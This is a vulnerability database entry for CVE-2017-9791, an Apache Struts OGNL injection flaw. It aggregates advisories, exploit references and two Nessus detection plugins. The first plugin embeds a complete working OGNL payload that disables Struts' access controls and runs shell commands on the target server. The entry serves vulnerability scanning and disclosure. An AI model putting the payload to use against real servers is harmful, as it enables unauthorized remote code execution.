Vulnerabilities > CVE-2017-9791 - Improper Input Validation vulnerability in Apache Struts
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
D2sec
Exploit-Db
description Apache Struts 2.3.x Showcase - Remote Code Execution (PoC). CVE-2017-9791. Webapps exploit for Multiple platform file exploits/multiple/webapps/42324.py id EDB-ID:42324 last seen 2017-07-14 modified 2017-07-07 platform multiple port published 2017-07-07 reporter Exploit-DB source https://www.exploit-db.com/download/42324/ title Apache Struts 2.3.x Showcase - Remote Code Execution (PoC) type webapps description Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit). CVE-2017-9791. Remote exploit for Multiple platform. Tags: Metasploit Framework ... file exploits/multiple/remote/44643.rb id EDB-ID:44643 last seen 2018-05-24 modified 2018-05-17 platform multiple port 8080 published 2018-05-17 reporter Exploit-DB source https://www.exploit-db.com/download/44643/ title Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit) type remote
Metasploit
description | This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. |
id | MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CODE_EXEC_SHOWCASE |
last seen | 2020-06-12 |
modified | 2018-05-16 |
published | 2017-07-15 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_code_exec_showcase.rb |
title | Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution |
Nessus
NASL family CGI abuses NASL id STRUTS_2_3_X_RCE.NASL description The Struts 1 plugin in Apache Struts 2.3.x is affected by a remote code execution vulnerability via a malicious field value passed in a raw message to the ActionMessage class. last seen 2020-06-01 modified 2020-06-02 plugin id 102918 published 2017-09-01 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/102918 title Apache Struts 2.3.x Struts 1 plugin RCE (remote) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(102918); script_version("1.9"); script_cvs_date("Date: 2019/11/12"); script_cve_id("CVE-2017-9791"); script_bugtraq_id(99484); script_name(english:"Apache Struts 2.3.x Struts 1 plugin RCE (remote)"); script_summary(english:"Attempts to execute arbitrary commands on the remote web server."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a web application that uses a Java framework which is affected by a remote code execution vulnerability."); script_set_attribute(attribute:"description", value: "The Struts 1 plugin in Apache Struts 2.3.x is affected by a remote code execution vulnerability via a malicious field value passed in a raw message to the ActionMessage class."); script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-048.html"); script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-048"); script_set_attribute(attribute:"solution", value: "Refer to the s2-048 vendor advisory for mitigation options"); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9791"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"exploit_framework_core", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/10"); script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/01"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("http_version.nasl", "webmirror.nasl"); script_require_ports("Services/www", 80, 8080); exit(0); } include("audit.inc"); include("global_settings.inc"); include("http.inc"); include("misc_func.inc"); port = get_http_port(default:8080); cgis = get_kb_list('www/' + port + '/cgi'); vuln = FALSE; urls = make_list(); # To identify actions that we can test the exploit on we will look # for files with the .action suffix from the KB. if (!isnull(cgis)) { foreach cgi (cgis) { match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi); if (match) { urls = make_list(urls, match[0]); if (!thorough_tests) break; } if (cgi =~ "struts2?(-rest)?-showcase") { urls = make_list(urls, cgi); if (!thorough_tests) break; } } } if (thorough_tests) { cgi2 = get_kb_list('www/' + port + '/content/extensions/act*'); if (!isnull(cgi2)) urls = make_list(urls, cgi2); } # Always check web root urls = make_list(urls, "/"); # Struts is slow timeout = get_read_timeout() * 2; if(timeout < 10) timeout = 10; http_set_read_timeout(timeout); urls = list_uniq(urls); unix_cmd = 'id'; win_cmd = 'ipconfig%20%2Fall'; data = "age=20&__checkbox_bustedBefore=true&name=%25%7B%28%23_%3D%27multipart%2Fform-data%27%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%27"+win_cmd+"%27%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27"+unix_cmd+"%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=1"; foreach url (urls) { res = http_send_recv3( method : "POST", item : url, port : port, data : data, exit_on_fail : TRUE, content_type: "application/x-www-form-urlencoded" ); if ("Windows IP" >< res[2] || "uid" >< res[2]) { if (res[2] =~ "uid=[0-9]+.*gid=[0-9]+.*") { output = strstr(res[2], "uid"); if (!empty_or_null(output)) { vuln = TRUE; vuln_url = build_url(qs:url, port:port); break; } } else if (res[2] =~ "Subnet Mask|Windows IP|IP(v(4|6)?)? Address") { output = strstr(res[2], "Windows IP"); if (!empty_or_null(output)) { vuln = TRUE; vuln_url = build_url(qs:url, port:port); break; } } } # Stop after first vulnerable Struts app is found if (vuln) break; } if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.'); security_report_v4( port : port, severity : SECURITY_HOLE, generic : TRUE, request : make_list(http_last_sent_request()), output : chomp(output) );
NASL family Misc. NASL id STRUTS_2_3_X_RCE_WIN_LOCAL.NASL description The version of Apache Struts running on the remote Windows host is 2.3.x. It is, therefore, potentially affected by a remote code execution vulnerability in the Struts 1 plugin showcase app in the ActionMessage class due to improper validation of user-supplied input passed via error messages. An unauthenticated, remote attacker can exploit this to execute arbitrary code. Note that Nessus has not tested for this issue but has instead relied only on the application last seen 2020-06-01 modified 2020-06-02 plugin id 101361 published 2017-07-11 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/101361 title Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE (S2-048) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(101361); script_version("1.10"); script_cvs_date("Date: 2019/02/15 10:32:14"); script_cve_id("CVE-2017-9791"); script_bugtraq_id(99484); script_name(english:"Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE (S2-048)"); script_summary(english:"Checks if Struts 2.3.x version is installed."); script_set_attribute(attribute:"synopsis", value: "The remote Windows host contains a web application that uses a Java framework that is affected by a potential remote code execution vulnerability."); script_set_attribute(attribute:"description", value: "The version of Apache Struts running on the remote Windows host is 2.3.x. It is, therefore, potentially affected by a remote code execution vulnerability in the Struts 1 plugin showcase app in the ActionMessage class due to improper validation of user-supplied input passed via error messages. An unauthenticated, remote attacker can exploit this to execute arbitrary code. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number."); script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-048.html"); script_set_attribute(attribute:"solution", value: "Refer to the vendor advisory for recommendations on passing data to the 'ActionMessage' class."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9791"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"exploit_framework_core", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"agent", value:"all"); script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/07"); script_set_attribute(attribute:"plugin_publication_date", value:"2017/07/11"); script_set_attribute(attribute:"potential_vulnerability", value:"true"); script_set_attribute(attribute:"plugin_type", value:"combined"); script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"Misc."); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin"); script_require_keys("Settings/ParanoidReport"); script_require_ports("installed_sw/Apache Struts","installed_sw/Struts"); exit(0); } include("vcf.inc"); if (report_paranoia < 2) audit(AUDIT_PARANOID); app_info = vcf::combined_get_app_info(app:"Apache Struts"); vcf::check_granularity(app_info:app_info, sig_segments:3); constraints = [ { "min_version" : "2.3.0", "fixed_version" : "2.3.33" } ]; vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
Packetstorm
data source https://packetstormsecurity.com/files/download/143375/apachestruts23x-exec.txt id PACKETSTORM:143375 last seen 2017-07-15 published 2017-07-14 reporter Vex Woo source https://packetstormsecurity.com/files/143375/Apache-Struts-2.3.x-Showcase-Remote-Code-Execution.html title Apache Struts 2.3.x Showcase Remote Code Execution data source https://packetstormsecurity.com/files/download/147664/struts2_code_exec_showcase.rb.txt id PACKETSTORM:147664 last seen 2018-05-17 published 2018-05-16 reporter Nixawk source https://packetstormsecurity.com/files/147664/Apache-Struts-2-Struts-1-Plugin-Showcase-OGNL-Code-Execution.html title Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
Saint
bid | 99484 |
description | Apache Struts 2 Struts 1 plugin Showcase OGNL code execution |
id | web_dev_strutsshowcaserce |
title | apache_struts2_struts1_showcase |
type | remote |
References
- http://struts.apache.org/docs/s2-048.html
- http://www.securitytracker.com/id/1038838
- http://www.securityfocus.com/bid/99484
- https://www.exploit-db.com/exploits/42324/
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
- https://www.exploit-db.com/exploits/44643/
- https://security.netapp.com/advisory/ntap-20180706-0002/